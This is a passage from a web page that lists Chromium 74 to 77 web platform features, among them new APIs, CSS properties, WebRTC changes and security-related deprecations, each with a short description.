a interacts with it. <ol start="36"> <li>WebRTC audio jitter buffer RTX handling</li> </ol> Enables functionality in the audio jitter buffer in WebRTC to adapt the delay to retransmitted packets. <h3>chromium74 Features:25</h3> <ol> <li>Face Detection API</li> </ol> The Face Detection API is a subset of the Shape Detection API which provides the ability to detect human faces and facial landmarks in an image provided by script. The image may come from any type of image buffer source such as an <code><image></code>, <code><video></code> or <code><canvas></code> tag. <ol start="2"> <li>Text Detection API</li> </ol> The Text Detection API is a subset of the Shape Detection API which provides the ability to detect and optionally transcribe text in an image provided by script. The image may come from any type of image buffer source such as an <code><image></code>, <code><video></code> or <code><canvas></code> tag. <ol start="3"> <li>Add scaleResolutionDownBy to RTCRtpEncodingParameters</li> </ol> This setting scales down the resolution of a video’s layers in each dimension by the given value before sending. For example, setting the value to 2.0 scales each dimension by a factor of 2, sending a video a quarter of its size. The value must be greater than or equal to 1.0 (the default). The default value applies no scaling. <ol start="4"> <li>AudioContextOptions.sampleRate</li> </ol> Allows developers to set the “sampleRate” for an AudioContext at the time it is created. This allows developers to set an arbitrary sample rate for audio processing in Web Audio API. <ol start="5"> <li>Background Fetch API</li> </ol> Background Fetch API provides a service worker based download and upload mechanism which is persistent across service worker and browser restarts. The system will provide a developer-controllable interface to schedule, query, pause, and cancel background downloads and uploads. After a scheduled fetch completes, the system will notify the developer of the outcome of the operation. In-progress fetches will be visible to users in a notification. <ol start="6"> <li>CSS Transition Events</li> </ol> The CSS Transitions specification specifies that transition events are sent when a transition is enqueued, starts, ends, or is canceled as transitionrun, transitionstart, transitionend, and transitioncancel respectively. These events mirror the CSS animation events which allow developers to observe CSS animations. <ol start="7"> <li>CSS prefers-reduced-motion media query</li> </ol> Support will be added for the CSS prefers-reduced-motion media query. The prefers-reduced-motion media query detects whether the user has requested that the system minimize the amount of motion it uses; in particular motion-based animation. This is for users who either require or prefer minimized motion. For example people with vestibular disorders often desire animation motion to be kept to a minimum. <ol start="8"> <li>Disallow opener navigation downloads from cross origin popups</li> </ol> If a popup navigates its opener to a URL which results in a download, the download will be blocked and the navigation cancelled, if the popup is cross-origin to its opener. This resolves a long standing security issue. <ol start="9"> <li>Feature Policy: JavaScript API</li> </ol> A JavaScript API will be exposed for feature policy. This API contains three functions. document.featurePolicy.allowedFeatures() // What are the allowed features in this document? document.featurePolicy.allowsFeature(‘geolocation’, <code><origin></code>?) // Is geolocation allowed in this document or origin? document.featurePolicy.getAllowlistForFeature(‘geolocation’) // What origins are allowed to use geolocation? <ol start="10"> <li>Hashbang interpreter line</li> </ol> Allows the first line of a script or module source file to specify an interpreter to evaluate the script. e.g. <pre><code>#!/path/to/v8/v8-shell print('Hello, world!'); </code></pre> <ol start="11"> <li>IntersectionObserver V2</li> </ol> Augment IntersectionObserver to report information about occlusion and visual effects. Currently, IntersectionObserver does not consider whether a target element has been painted over (“occluded”) by other content or whether any visual effects have been applied which may alter or obscure the element’s display. This change adds a boolean field to IntersectionObserverNotification, indicating whether the UA can guarantee that the target will be displayed unoccluded and without visual effects. <ol start="12"> <li>Intl.Locale</li> </ol> Intl.Locale class allows the following: Parsing and manipulating the language, region and script of a locale; Reading or writing the Unicode extension tags in a locale; Storing user locale preferences for this API in a serializable, standard format (rather than using a combination of language and the options object). <ol start="13"> <li>Make MediaDevices and related functions and types secure context only</li> </ol> Make the MediaDevices interface and its related functions and types, including getUserMedia(), enumerateDevices() and getDisplayMedia() available only in secure contexts. <ol start="14"> <li>PaymentRequest.hasEnrolledInstrument()</li> </ol> The PaymentRequest.hasEnrolledInstrument() method returns a boolean indicating whether the user has a payment instrument in their profile that matches the payment identifier in a PaymentRequest and whether it is ready to handle payment at the time PaymentRequest.show() is called. <ol start="15"> <li>Private class fields</li> </ol> This feature introduces private fields to classes in ECMAScript. Note: This entry only pertains to the private fields part of the proposal, not the public fields. <ol start="16"> <li>RTCIceCandidate and RTCIceCandidateInit</li> </ol> RTCIceCandidate and RTCIceCandidateInit will be made spec-compliant. The RTCIceCandidate interface describes an ICE candidate in WebRTC. It is available in Chrome, but it is not spec compliant as it is missing some fields. There are also some deviations from the spec in terms of nullable and read-only attributes and errors thrown by the constructor. <ol start="17"> <li>Reflect redirects to worker global scope’s URL</li> </ol> Worker global scope’s URL (self.location, referrer, and base URL) should reflect redirects (i.e. should be the response URL, not the request URL), according to the spec. The worker global scope’s URL has been the response URL in Firefox and the request URL in Chromium/Safari/Edge. Chromium is changing it to the response URL to match with the spec. Spec issue: https://github.com/whatwg/html/issues/3760 <ol start="18"> <li>Remove [NoInterfaceObject] from DeviceOrientation Event interfaces</li> </ol> The [NoInterfaceObject] annotation is being removed from WebIDL. The DeviceOrientation Event specification has been updated to remove this annotation from the Acceleration and RotationRate interfaces and rename them to DeviceMotionEventAcceleration and DeviceMotionEventRotationRate in order to avoid polluting the global namespace with generic interface names. <ol start="19"> <li>Signed Exchange Reporting for distributors</li> </ol> Signed Exchange Reporting for distributors extends the Network Error Logging to enable the distributors of signed exchanges to investigate signed exchange loading errors such as certificate verification errors. <ol start="20"> <li>TextEncoder encodeInto() method</li> </ol> TextEncoder’s encodeInto() method allows an encoded string to be written directly “into” a supplied pre-allocated buffer, offering a performant alternative to using encode() to produce a buffer, and copying its contents into an existing buffer. <ol start="21"> <li>WebAssembly Worker Based Threads</li> </ol> The WebAssembly Threads feature allows multiple WebAssembly instances in separate Web Workers to share a single WebAssembly.Memory object. As with SharedArrayBuffers in JavaScript, this allows very fast communication between the Workers. This can be used to offload computation to another thread to keep the main thread and its UI responsive. <ol start="22"> <li>XHR fallbacks UTF-8 when invalid encoding is specified</li> </ol> When an invalid encoding is specified for XMLHttpRequest (via overrideMimeType() or the response’s mime type), UTF-8 is used e.g. for responseText, which is spec conformant. Previously Latin-1 was used. <ol start="23"> <li>service worker: client.postMessage() is buffered until the document is ready.</li> </ol> To prevent messages from being delivered before the destination is ready, client.postMessage() does not dispatch the message until one of the following has occurred on the destination: <ul> <li>‘DOMContentLoaded’ event is fired.</li> <li>onmessage is set.</li> <li>startMessages() is called.</li> </ul> <ol start="24"> <li>type in PerformanceObserver’s observe() dictionary</li> </ol> The addition of the ‘type’ member will allow passing in parameters specific to one entry type when calling observe() within PerformanceObserver. Right now, ‘entryTypes’ is used to specify potentially multiple entry types to be observed at the same time. An observer can only use ‘entryTypes’ or ‘type’. An observer can only specify additional parameters when using ‘type’. An observer can still observe multiple entry types by calling observe() with ‘type’ multiple times. <ol start="25"> <li>Remove PaymentAddress’s languageCode property</li> </ol> PaymentAddress’s languageCode property is browser’s best guess for the language of the text in the shipping, billing, delivery, or pickup address in Payment Request API. <h3>chromium75 Features:27</h3> <ol> <li>IFrame execution/freezing feature policy</li> </ol> Adds ability to pause execution of an iframe that is not rendered or scrolled out of view. <ol start="2"> <li>Overscroll and Scrollend DOM events</li> </ol> Similar to scroll event, Chrome will send overscroll and scrollend DOM events. <ol start="3"> <li>Allow PaymentRequest.show() to take optional detailsPromise</li> </ol> Some merchant sites may not know the total or line items at the time of attempting to open the payment sheet with show(). This feature is a way to signal that the browser should show a spinner or equivalent and wait on allowing end user interaction until an update. <ol start="4"> <li>Animation constructor</li> </ol> Currently the Web Animations API allows developers to create animations using the Element.animate() method, which returns an Animation object that is internally constructed. The full Animation constructor gives the developer more control over the created Animation, including specifying the timeline (currently useless, but in the future enables other types of timelines) and the exact KeyframeEffect object (see https://www.chromestatus.com/feature/4868532347076608) <ol start="5"> <li>AnimationEffect and KeyframeEffect (excluding getKeyframes/setKeyframes & composite/iterationComposite)</li> </ol> AnimationEffect and KeyframeEffect are part of the Web Animations API. They allow a developer interactive control over the following parts of their Animation: <ul> <li>the Animation target (i.e. what element is being animated)</li> <li>the Animation timing properties (duration, delay, etc)</li> </ul> We do not intend to ship the composite and iterationComposite members or the getKeyframes/setKeyframes methods at this time. <ol start="6"> <li>AppCache: Cross-origin resource size padding</li> </ol> For quota accounting purposes, the size of cross-origin AppCache resources will be padded. Cross-origin resources are resources whose origin differs from the manifest’s origin. The size padding will be a random number, uniformly distributed between 0 and about 14MB. Quota accounting purposes include the size reported by the Quota API and quota enforcement (an origin’s storage API calls are blocked when the origin exceeds its quota). <ol start="7"> <li>CSP: <code>script-src-attr</code>, <code>script-src-elem</code>, <code>style-src-attr</code>, <code>style-src-elem</code> directives</li> </ol> These 4 new directives provide the functionality of the script/style directive but with more granularity, applying to elements or attributes. <ol start="8"> <li>HTMLVideoElement.playsInline</li> </ol> This is a hint a website may provide to a user agent to display a video content within the element’s playback area. <ol start="9"> <li>Low latency canvas contexts with desynchronized</li> </ol> The getContext() method now supports a desynchronized option, which provides a low-latency alternative to the now deprecated NaCl/PPAPI solution which used native OpenGL rendering. The new solution uses either 2d or webgl rendering. For example: <code>let context_type = '2d’; // Or 'webgl' canvas.getContext(context_type, {desynchronized: true});</code> <ol start="10"> <li>MediaStreamTrack.getCapabilities() support for audio device-related constrainable properties.</li> </ol> Returns the device-related capabilities (namely sample size, sample rate, latency, and channel count) of the source associated to a MediaStreamTrack. There is also a variant InputDeviceInfo.getCapabilities(), available in the results of MediaDevices.enumerateDevices().These devices are used as sources for MediaStreamTrack; in this case, getCapabilities() returns the same values as MediaStreamTrack.getCapabilities() for sampleSize, channelCount, and latency. <ol start="11"> <li>Numeric separators</li> </ol> This feature enables developers to make their numeric literals more readable by creating a visual separation between groups of digits. Using underscores (_, U+005F) as separators helps improve readability for numeric literals, for ex: 1_000_000_000. <ol start="12"> <li>RTCDtlsTransport</li> </ol> Adds a component to provide information about active transports. Specifically, this interface allows an application access to information about the Datagram Transport Layer Security (DTLS) transport over which RTP and RTCP packets are sent and received by RTCRtpSender and RTCRtpReceiver objects, as well other data such as SCTP packets sent and received by data channels. <ol start="13"> <li>RTCIceTransport</li> </ol> Provides information about the state of the ICE transports used by RTCPeerConnection to send and receive media to another endpoint. <ol start="14"> <li>Scroll Snap Stop</li> </ol> Normally an inertial scroll operation (such as a swipe gesture) may skip several possible snap positions in favor of a snap position that is closer to its natural end point (which depends on platform and gesture characteristics such as velocity). scroll-snap-stop enables authors to designate a snap position such that it traps the inertial scrolling operations preventing the scroll from skipping it. <ol start="15"> <li>Service workers appear in Chrome’s Task Manager</li> </ol> Service workers now appear in Chrome’s Task Manager. <ol start="16"> <li>Storage Quota Usage Details</li> </ol> This change adds a dictionary to the returned dictionary of storageManager.estimate() that contains details about usage for each storage backend. The goal is to aid in debugging issues around overuse of specific storage systems. <ol start="17"> <li>Support noreferrer attribute for window.open()</li> </ol> Allows a web page to use window.open() without leaking referrer information by leaving the referrer header out of page navigations. <ol start="18"> <li>Web Authentication API: FIDO CTAP2 PIN support</li> </ol> The Web Authentication API (WebAuthn) lets web applications authenticate users via external authentication devices called security keys. This feature extends Chrome’s implementation of WebAuthn to support local user authorization of security key operations via a user-defined PIN for keys that implement the FIDO CTAP2 protocol. Web sites using WebAuthn can request or require such authorization via the API’s “user verification” mechanisms (https://www.w3.org/TR/webauthn/#user-verification). <ol start="19"> <li>Web notification inline replies</li> </ol> This feature adds support for text actions on web notifications. It allows web developers to let users quickly input text in response to a notification, within the notification itself. This is expected to be particularly useful for chat apps. <ol start="20"> <li>WebAssembly Bulk Memory Operations</li> </ol> Adds a memmove type opcode to WebAssembly and enhances existing data sections to support importable base.This allows better optimization of large memcpy/memmove operations. Data section improvement will make shared libraries work better, especially with threads. <ol start="21"> <li>WebAssembly Non-trapping Conversion</li> </ol> Adds opcodes to WebAssembly to support non-trapping float-to-integer conversion to improve the ergonomics of the bytecode format. <ol start="22"> <li>stale-while-revalidate</li> </ol> The stale-while-revalidate attribute is used by the Cache-Control header and defines an extra window of time during which a cache (proxy, user agents) can use a stale asset while it revalidates it asynchronously. This improves subsequent page load latencies as stale assets are non longer in the critical path. <ol start="23"> <li>waitUntil/respondWith can be called inside a microtask during event dispatch.</li> </ol> To conform to the specification, ExtendableEvent.waitUntil() and FetchEvent.respondWith() can now be called during the microtask checkpoint at the end of event dispatch. Previously, this would throw an InvalidStateError. <ol start="24"> <li>Remove cursors greater than 32x32 device-independent pixels intersecting native UI</li> </ol> Custom cursors with widths or heights greater than 32 DIP will be removed if they intersect native UX (i.e. are not fully contained in the visual viewport). Large cursors are being used abusively on the web, to confuse users (see https://crbug.com/880863). Specifically, large custom cursors can be used to cover important (sometimes security related) browser native UX with an arbitrary image to mislead users into thinking they are clicking outside the content area. <ol start="25"> <li>Remove unimplemented -webkit-appearance keywords</li> </ol> Remove the following -webkit-appearance keywords: button-bevel caret listitem media-controls-background media-controls-fullscreen-background media-current-time-display media-enter-fullscreen-button media-exit-fullscreen-button media-mute-button media-overlay-play-button media-play-button media-time-remaining-display media-toggle-closed-captions-button media-volume-slider-container menulist-textfield menulist-text progress-bar-value They are parsable keywords, but has no painting code. <ol start="26"> <li>overflow: -webkit-paged-x , overflow: -webkit-paged-y</li> </ol> These are old webkit-specific properties that allowed developers to fragment content over columns inside a scrollable region. See: https://bl.ocks.org/grorg/99eb053b432070b05d1e29759d81458f Practically speaking this isn’t used. Most developers use it accidentally, and typically when it is used this property to forces a new formatting context similar to setting “overflow: hidden”. <ol start="27"> <li>WebRTC relative packet arrival delay statistic</li> </ol> Add new non-standard audio receiver metric to the WebRTC getStats() API called relativePacketArrivalDelay. The metric estimates the delay of incoming packets relative to the first packet received. <h3>chromium76 Features:36</h3> <ol> <li>Display alerts for SameSite cookie changes in the developer console</li> </ol> Show alerts in the developer console for “Cookies with SameSite by default” and “Reject insecure SameSite=None cookies” to warn developers of upcoming changes that may require their action. <ol start="2"> <li>Feature Policy: focus-without-user-activation</li> </ol> A feature policy to restrict the use of programmatic focus, when not triggered by a user activation. The proposed policy provides a way to control access to the focus API without user activation. The immediate use case would be restricting all sandboxed frames. Focus API, in this context refers to focus management API and autofocus. <ol start="3"> <li>Pause Worklets and Dedicated Workers Execution on document freeze</li> </ol> Dedicated workers and worklets continue to execute even though documents may be frozen due to the page lifecycle. <ol start="4"> <li>Add RTP timestamp to RTCRtpReceiver.RTCRtpContributingSource</li> </ol> Add RTP timestamp to RTCRtpReceiver.RTCRtpContributingSource. This is additional metadata to the existing RTP source. <ol start="5"> <li>Animation.updatePlaybackRate</li> </ol> Animation.updatePlaybackRate() lets you seamlessly transition the playback rate of an animation such that there is no visible jump in the animation. Current time is preserved at the instance the new playback rate takes effect. <ol start="6"> <li>Async Clipboard: Read and Write Images</li> </ol> Implements programmatic copying and pasting of images for the Async Clipboard API. This change also updates navigator.clipboard.read() and navigator.clipboard.write() to comply with the specification. Programmatic copying and pasting of images is Chromium’s top starred bug. <ol start="7"> <li>CSS backdrop-filter property</li> </ol> The backdrop-filter CSS property applies one or more filters to the “backdrop” of an element. The “backdrop” basically means all of the painted content that lies behind the element. This allows designers to construct “frosted glass” dialog boxes, video overlays, translucent navigation headers, and more. <ol start="8"> <li>Consume User Activation After Entering FullScreen Mode</li> </ol> To prevent a user activation from opening more than one fullscreen window, entering fullscreen will consume the user activation. <ol start="9"> <li>DateTimeFormat dateStyle and timeStyle</li> </ol> Adds dateStyle and timeStyle options to functions on Intl.DateTimeFormat, specifically formatToParts() and resolveOptions(). These options provide a compact way to request the appropriate, locale-specific date and time of given length styles. <ol start="10"> <li>Escape key is not a user activation</li> </ol> The Escape key is no longer treated as a user activation. <ol start="11"> <li>Fetch Metadata</li> </ol> Introduces a new set of HTTP request headers, including <code>Sec-Fetch-Site</code>, <code>Sec-Fetch-Mode</code> and <code>Sec-Fetch-User</code>, that sends additional metadata about a request’s provenance (is it cross-site, is it triggered from <code><img></code>, etc.) to the server to allow it to make security decisions which might mitigate some kinds of attacks based on timing the server’s response (xsleaks and others). <ol start="12"> <li>ImageCapture support for focusDistance constraint</li> </ol> The Image Capture API provides a means to set the focusMode to manual which is not useful if you cannot set the focus distance. This change provides an interface for getting focus range values and setting focus distance value. <ol start="13"> <li>Implement Animation.pending</li> </ol> Adds the pending attribute to the Web Animations API. A pending animation is one that is waiting on an asynchronous operation that affects the play state. Adding support for this attribute does not affect the rendering or timing of animations, but simply exposes the signal. <ol start="14"> <li>Implement IDBCursor <code>request</code> attribute</li> </ol> This exposes the underlying IDBRequest of IDBCursor objects. It is a minor addition, exposing previously spec’d behavior. <ol start="15"> <li>IndexedDB transaction explicit commit API call</li> </ol> Adds a commit() function to IDBTransaction objects, which explicitly marks a transaction as not accepting further requests. Currently, IndexedDB only commits a transaction after all associated requests have had their completion event handlers executed, and no new requests have been queued by the event handlers. Developers can use the explicit commit() function to shave a few event loop cycles off of the latency of their transactions. <ol start="16"> <li>Intl.DateTimeFormat.prototype.formatRange</li> </ol> Adds formatRange() and formatRangeToParts() methods to Intl.DateTimeFormat to format a range of times between two dates, such as ‘Jan 10 – 20, 2007’, or ‘Jan 10 – Feb 20, 2007’. <ol start="17"> <li>Locale sensitive BigInt.prototype.toLocaleString and allow Intl.NumberFormat format/formatToParts to take BigInt.</li> </ol> Changes BigInt.prototype.toLocaleString() to locale-sensitive number formatting and changes Intl.NumberFormat.prototype.format() and formatToParts() to accept BigInt as input. <ol start="18"> <li>Media Capabilities in Workers</li> </ol> Enables the Media Capabilities API in all types of workers to help websites pick the best media to stream from a worker. The information can then be used to create the MediaStream from a worker. <ol start="19"> <li>Media Queries: prefers-color-scheme feature</li> </ol> Adds the ‘prefers-color-scheme’ feature, which lets authors adapt web content to user-selected dark theme in the OS or browser. Valid options are ‘light’, ‘dark’, or ‘no-preference’. <ol start="20"> <li>PaymentMethodChangeEvent</li> </ol> Adds the PaymentMethodChangeEvent and the associated event handler PaymentRequest.onpaymentmethodchange. Handler invocation indicates that the user has changed payment methods. The event can be useful when a merchant re-calculates a total value with method details. For example, merchants can calculate tax by reading billing address information in the event. <ol start="21"> <li>PaymentRequestEvent.changePaymentMethod()</li> </ol> Enables payment handlers to get the updated total from the merchant in response to a change in payment instrument selected within the payment handler. This fires the PaymentMethodChangeEvent on the merchant website. <ol start="22"> <li>Promise.allSettled</li> </ol> Adds Promise.allSettled(), which returns a promise that is fulfilled with an array of promise state snapshots, but only after all the original promises have settled, in other words after it has either fulfilled or rejected. <ol start="23"> <li>Push API : Allow passing a base64url-encoded value to <code>applicationServerKey</code></li> </ol> The applicationServerKey option is used by the user agent when establishing a push subscription with a push service. This is the key that the application server will use to authenticate itself when sending push messages to this push subscription. Currently, applicationServerKey only supports BufferSource in Chrome. After this change, it can also accept a base64url encoded value. <ol start="24"> <li>RTCRtpSender.setStreams</li> </ol> Allows changing the association between the track associated with an RTCRtpSender and streams. Stream association causes tracks in the same stream to be synchronized. This is useful, for example, if during a call a user switches from a front-facing camera to a back-facing camera and the application uses RTCRtpSender.replaceTrack(). On the receiving end the new track must be associated with the existing stream and synchronized with its auto track. <ol start="25"> <li>RTCRtpTransceiver.setCodecPreferences()</li> </ol> Adds the setCodecPreferences() method, which overrides the default codec preferences used by the user agent. This allows applications to disable the negotiation of specific codecs. It also allows an application to cause a remote peer to prefer the codec that appears first in the list for sending. <ol start="26"> <li>Simpler reading methods for Blob interface</li> </ol> Adds three new methods to the Blob interface to perform read operations: text(), arrayBuffer(), and stream(). <ol start="27"> <li>The ImageBitmap rendering context for <code><offscreenCanvas></code></li> </ol> We are adding ImageBitmapRendererContext as a valid context for OffscreenCanvas. ImageBitmapRenderingContext allows direct transfer of an ImageBitmap to the canvas surface. This is particularly important as a way to render an ImageBitmap to a Canvas from a Worker (without transferring the ImageBitmap to the main thread). This is also currently the spec-defined way to render WebGPU content to the screen. <ol start="28"> <li>Web Authentication API: Resident Keys</li> </ol> Security keys are generally stateless save for a global signature counter. While it’s technically possible to implement a stateful security key, physical tokens generally encrypt their state in a credential ID that is stored on the server of the relying party. Resident keys allow the security key to keep state and thus allow a username-less login experience by just proving a local PIN to the device. Developers can exercise this via the existing Webauthn standard. <ol start="29"> <li>WebAudio: MediaStreamAudioDestinationNode has no outputs</li> </ol> According to the specification, the MediaStreamAudioDestinationNode in WebAudio should have no outputs. Chrome’s implementation has a single output which will be removed. <ol start="30"> <li>WebRTC RTCSctpTransport</li> </ol> Exposes information about the SCTP transport that is used to carry WebRTC DataChannels such as max-message-size and max channels. <ol start="31"> <li>form.requestSubmit()</li> </ol> Adds the form.requestSubmit() function, which requests form submission. It includes interactive constraint validation, dispatches a ‘submit’ event, and takes a reference to the submitter button. <ol start="32"> <li>white-space: break-spaces</li> </ol> Adds the break-spaces value for the white-space property which specifies that any sequence of preserved white space that would otherwise overflow a line and hang (as per the CSS Text Module spec’s Trimming and Positioning rules) must be broken. <ol start="33"> <li>Feature Policy: lazyload</li> </ol> The lazyload feature policy allows developers to selectively control the lazyload attribute on <code><iframe></code> and <code><img></code> using the Feature-Policy header or the <code><iframe></code> “allow” attribute. This provides more control over loading delay for embedded contents and images on a per origin basis. Use this policy to force loading to delayed or non-delayed for your entire website and all or parts of any embedded contents. Use of this policy benefits page load times. <ol start="34"> <li>Remove Insecure Usage of DeviceMotionEvent</li> </ol> Chromium has been showing deprecation warnings since 2015 whenever the API is used in a non-secure browsing context. We now conclude the deprecation by restricting the API to secure browsing contexts. This change brings Chromium’s implementations in line with the privacy and security recommendations in the specification, and is aligned with the overarching effort to deprecate powerful features on insecure origins. <ol start="35"> <li>Remove Insecure Usage of DeviceOrientationEvent</li> </ol> Chromium has been showing deprecation warnings since 2015 whenever the API is used in a non-secure browsing context. We now conclude the deprecation by restricting the API to secure browsing contexts. This change brings Chromium’s implementations in line with the privacy and security recommendations in the specification, and is aligned with the overarching effort to deprecate powerful features on insecure origins. <ol start="36"> <li>Portable Native Client (PNaCl)</li> </ol> Run C/C++ code compiled to bitcode on any web page. The code runs inside the Native Client sandbox and has access to the same capabilities as JavaScript via the Pepper APIs. <h3>chromium77 Features:38</h3> <ol> <li>Add frozen or active lifecycleState to ServiceWorker Client</li> </ol> Exposes the client’s PageLifecycle state on the ServiceWorker Client API. <ol start="2"> <li>‘formdata’ event</li> </ol> The ‘formdata’ event enables any objects to provide form data. It helps avoid creating <code><input type=hidden></code> representing application state, or making submittable custom elements. <ol start="3"> <li>Alternative Text in CSS Generated Content</li> </ol> Currently there is no way to supply alternative text for CSS generated content. This change would allow alternative text to be supplied for elements that get their content from the content property. <ol start="4"> <li>Automatically lazily load below-the-fold iframes and images for Lite Mode users</li> </ol> Enables deferring the load of below-the-fold iframes and images pages until the user scrolls near them, without requiring actions by web developers. This helps to reduce network data and memory use, and may also increase site speed by prioritizing content that users are viewing. This feature is enabled for Chrome Lite Mode users only. <ol start="5"> <li>Deprecate insecure Web MIDI use</li> </ol> Stop exposing Web MIDI API to insecure origins from Chrome 77. <ol start="6"> <li>Do not apply hover when mouse does not move</li> </ol> To update the hover state when a page scrolls or changes layout, Blink currently dispatches fake mouse moves based on a timer because the mouse does not move. Unfortunately, every mouse move does a hit test which affects both performance and testing. This change applies the hover effect only when a mouse physically moves, improving performance and eliminating issues created by fake mouse events. <ol start="7"> <li>ElementTiming for img</li> </ol> The ElementTiming API will allow developers to know when certain important image elements are first displayed on the screen. It will also enable analytics providers to measure the display time of images that take up a large fraction of the viewport when they first show up. <ol start="8"> <li>ElementTiming for text</li> </ol> The ElementTiming API will allow developers to know when certain important text elements are first displayed on the screen. It will also enable analytics providers to measure the display time of text that takes up a large fraction of the viewport when they first show up. <ol start="9"> <li>Enter Key Hint</li> </ol> The enterkeyhint content attribute is an enumerated attribute that specifies what action label (or icon) to present for the enter key on virtual keyboards. This allows authors to customize the presentation of the enter key in order to make it more helpful for users. <ol start="10"> <li>Error serialization</li> </ol> Enables serialization of errors, specifically, DOMException, Error, EvalError, RangeError, ReferenceError, SyntaxError, TypeError, and URIError. An example of where this capability may be used is to pass an Error to a worker using PostMessage(). <ol start="11"> <li>Feature Policy control over document.domain</li> </ol> The document-domain policy governs access to document.domain. It is enabled by default, and, if disabled, attempting to set document.domain will throw an error. <ol start="12"> <li>First Input Timing</li> </ol> The PerformanceEventTiming interface provides timing information about the latency of the first discrete user interaction, specifically one of key down, mouse down, click, a pointer down followed by a pointer up. (Pointer down may be the start of scrolling, which is not tracked.) This is a subset of the EventTiming API, but will be exposed in advance because it provides key metrics to help measure and optimize responsiveness. <ol start="13"> <li>Form-associated custom elements</li> </ol> Form-associated custom elements enable web authors to define and create custom elements which participate in form submission. <ol start="14"> <li>Intervention: ignore input events targeting recently-moved iframes.</li> </ol> To prevent unintended clicks/taps, quietly discard input events that target cross-origin iframes that have recently resized or moved a non-trivial distance within the embedding page’s viewport. The shipped version limits the intervention to cross-origin iframes that are using the V2 feature set of IntersectionObserver (https://github.com/w3c/IntersectionObserver/tree/v2). <ol start="15"> <li>Intl.NumberFormat Unified API Proposal</li> </ol> This feature improves Intl.NumberFormat by adding support for measurement units, currency and sign display policies, and scientific and compact notation. <ol start="16"> <li>Largest contentful paint</li> </ol> Largest Contentful Paint (LCP) is a new page load metric available as a performance API, which describes page speed as the speed of delivering the largest contentful element to the screen. It is the high-level metric (where Element Timing is its low-level primitive) aiming to provide a meaningful result even for developers who don’t annotate their sites. <ol start="17"> <li>Layout Instability Monitoring</li> </ol> Adds the LayoutShift interface to the Performance API, allowing developers to monitor changes to a DOM element’s on-screen position. <ol start="18"> <li>Lazily load iframes and images via ‘loading’ attribute</li> </ol> Support the ‘loading’ attribute, which can be used to defer the load of below-the-fold iframes and images on the page until the user scrolls near them. This is to reduce data usage, memory usage, and to speed up above-the-fold content. Web developers can opt-in to lazy load by specifying loading=lazy on <code><iframe></code> and <code><img></code> elements. <ol start="19"> <li>Limit <code>Referer</code> header’s length to 4k</li> </ol> Strips the Referer header down to an origin when it’s size exceeds 4k. <ol start="20"> <li>Limit registerProtocolHandler() url argument to http/https</li> </ol> Limits registerProtocolHandler() to only accept URLs with http or https schemas. Because the intent of the API is to allow and endpoint to handle something like an SMS message, for example, it doesn’t make much sense for handlers to be data URLs, blob URLs, or whatever. <ol start="21"> <li>New TextMetrics object in canvas</li> </ol> The implementation of an extended API of text metrics started in 2014: https://groups.google.com/a/chromium.org/d/msg/blink-dev/SgofW_bQ3ps/jNYamQHplAMJ But was never shipped, and had multiple undefined values that were not addressed for years. The spec has now evolved and we intend to ship actualBoundingBoxLeft, actualBoundingBoxRight, actualBoundingBoxAscent and actualBoundingBoxDescent according to the current spec: https://html.spec.whatwg.org/multipage/canvas.html#textmetrics <ol start="22"> <li>Overscroll Behavior logical longhands</li> </ol> Adds CSS flow-relative properties for controlling overscroll behavior through logical dimensions. flow-relative properties are those that are interpreted relative to the flow of content. The new properties are overscroll-behavior-inline and overscroll-behavior-block. <ol start="23"> <li>Partition the HTTP Cache</li> </ol> Splits the HTTP cache using the top frame site and subframe site (where site = scheme://etld+1) to prevent documents from one site from knowing whether a resource from another site was cached. The HTTP cache is currently one per profile, with a single namespace for all resources and subresources regardless of origin or renderer process. Splitting the cache on top frame site helps the browser deflect side-channel attacks where one site can detect resources in another site’s cache. <ol start="24"> <li>PerformanceObserverInit buffered flag</li> </ol> Adds a buffered flag to observer.observe() so that PerformanceObserver can receive entries created before the call is executed. <ol start="25"> <li>PointerEvent.getPredictedEvents()</li> </ol> Adds a method that returns a few predicted pointer move events. This enables apps such as drawing apps for example to draw a predicted line, reducing apparent latency for the user. <ol start="26"> <li>Pointerrawupdate</li> </ol> Send pointerrawupdate events for move events as soon as they happen as oppose to pointermove events which are being rAF-aligned and hence may add half a frame of latency on average from when they happened until they are delivered to the javascript. <ol start="27"> <li>Precise src: local() matching in CSS @font-faces by PostScript and Full Font Name</li> </ol> Precisely match locally installed fonts by PostScript name or full font name, when used in a local() value to a src: descriptor in a @font-face declaration. This means, you can precisely and uniquely select local fonts by specifying their PostScript name or full font name. Previously Blink had implemented this incorrectly and was using the specified font name to perform a family match. <ol start="28"> <li>Preserve request priorities through service worker</li> </ol> Preserves a request’s original priority when it passes through a service worker. Previously, all requests going through a service worker would get “High” priority. This means render-blocking style sheets would have their priority clamped, while less-important resources would get boosted. The priority of network requests can be seen in the DevTools network tab. Render-blocking resources such as style sheets have “Highest” priority, while resources like async scripts have “Low” priority. <ol start="29"> <li>RTCPeerConnection.onicecandidateerror</li> </ol> Adds the incecandidateerror event which provides detailed information about WebRTC ICE candidate gathering failures, including the ones defined by STUN (RFC5389) and TURN (RFC5766). <ol start="30"> <li>RTCPeerConnection.restartIce()</li> </ol> Adds a method for triggering an ICE restart which causes a WebRTC connection to try to reconnect. This feature is already available in Chrome by passing the {iceRestart:true} argument to createOffer(). restartIce() is a version of this method that works regardless of signalingState. <ol start="31"> <li>Service workers support basic HTTP authentication</li> </ol> Displays HTTP authentication dialog boxes even if the request was from a service worker. This shows the native login dialog shown when an HTTP 401 response is received. Note: this requires the network service to be enabled, which is enabled by default on most platforms. <ol start="32"> <li>Stop action for Media Session</li> </ol> Adds support for the “stop” action to the MediaSession interface. An action is an event tied specifically to a common media function such as pause or play. The “stop” action handler is called when the site should stop the playback and clear the state if appropriate. <ol start="33"> <li>Support SRI verification on link preloads (script and style)</li> </ol> Add sub resource integrity verification to link preloads so that resources with an integrity attribute can be preloaded with causing a double download. This feature honors the integrity attribute on link preloads for the as=script and as=style destinations. <ol start="34"> <li>Support step timing functions jump-start|end|both|none</li> </ol> The step timing functions jump-both, jump-none, jump-start and jump-end were introduced to the spec for easing functions in 2018. Two of these (jump-start and jump-end) are aliases for start and end. The remaining two provide increased flexibility for step transitions by enabling step functions in which both or neither endpoint has a discontinuous step. Previously, one and only one of the two endpoints could have a step discontinuity. <ol start="35"> <li>Throw on invalid “basic-card” data</li> </ol> PaymentRequest constructor throws a TypeError when invalid “supportedNetworks” or “supportedTypes” are specified for “basic-card” payment. <ol start="36"> <li>tab-size supports <code><number></code> css value type</li> </ol> Adds support for <code><number></code> css value type to the CSS property tab-size, which determines the tab size used to render preserved tab characters. 